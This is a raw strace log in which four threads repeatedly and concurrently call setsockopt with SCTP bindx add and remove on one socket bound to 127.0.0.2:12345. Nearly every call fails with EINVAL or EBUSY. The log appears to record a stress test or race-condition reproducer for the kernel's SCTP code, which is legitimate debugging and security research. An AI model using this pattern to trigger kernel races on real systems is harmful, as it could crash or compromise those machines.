[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
